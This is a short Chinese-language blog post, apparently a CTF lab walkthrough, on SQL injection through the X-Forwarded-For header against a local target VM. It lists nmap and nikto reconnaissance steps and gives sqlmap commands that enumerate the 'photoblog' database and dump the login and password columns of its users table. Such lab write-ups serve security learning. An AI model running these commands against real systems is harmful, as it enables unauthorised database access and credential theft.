CTF-sql注入(X-Forwarded-For)【简单易懂】

发布于：2023-01-09 ⋅ 阅读:(510) ⋅ 点赞:(0)

前言

作者简介：不知名白帽，网络安全学习者。

博客主页：https://blog.csdn.net/m0_63127854?type=blog

CTF-专栏：https://blog.csdn.net/m0_63127854/category_11835386.html

网络安全交流社区：https://bbs.csdn.net/forums/angluoanquan

目录

AWVS漏洞扫描

扫描数据库

扫描字段值

扫描用户名和密码

环境配置

kali 192.168.20.128

靶机 192.168.20.132

链接：https://pan.baidu.com/s/1vUYqkBnWkrfXvdC99nOsSQ
提取码：4p7w

信息探测

nmap -sV ip

nmap -A -v ip

nikto -host http://ip 探测敏感信息

AWVS漏洞扫描

链接：https://pan.baidu.com/s/1o_2nXdQOuDFE8jI1uQdPiw
提取码：jsdx

漏洞利用

扫描数据库

sqlmap -u "http://192.168.20.132" --headers="X-Forwarded-For:*" --dbs --batch

扫描表名

sqlmap -u "http://192.168.20.132" --headers="X-Forwarded-For:*" -D "photoblog" --tables --batch

扫描字段值

sqlmap -u "http://192.168.20.132" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" --columns --batch

扫描用户名和密码

sqlmap -u "http://192.168.20.132" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" -C 'login,password' --dump --batch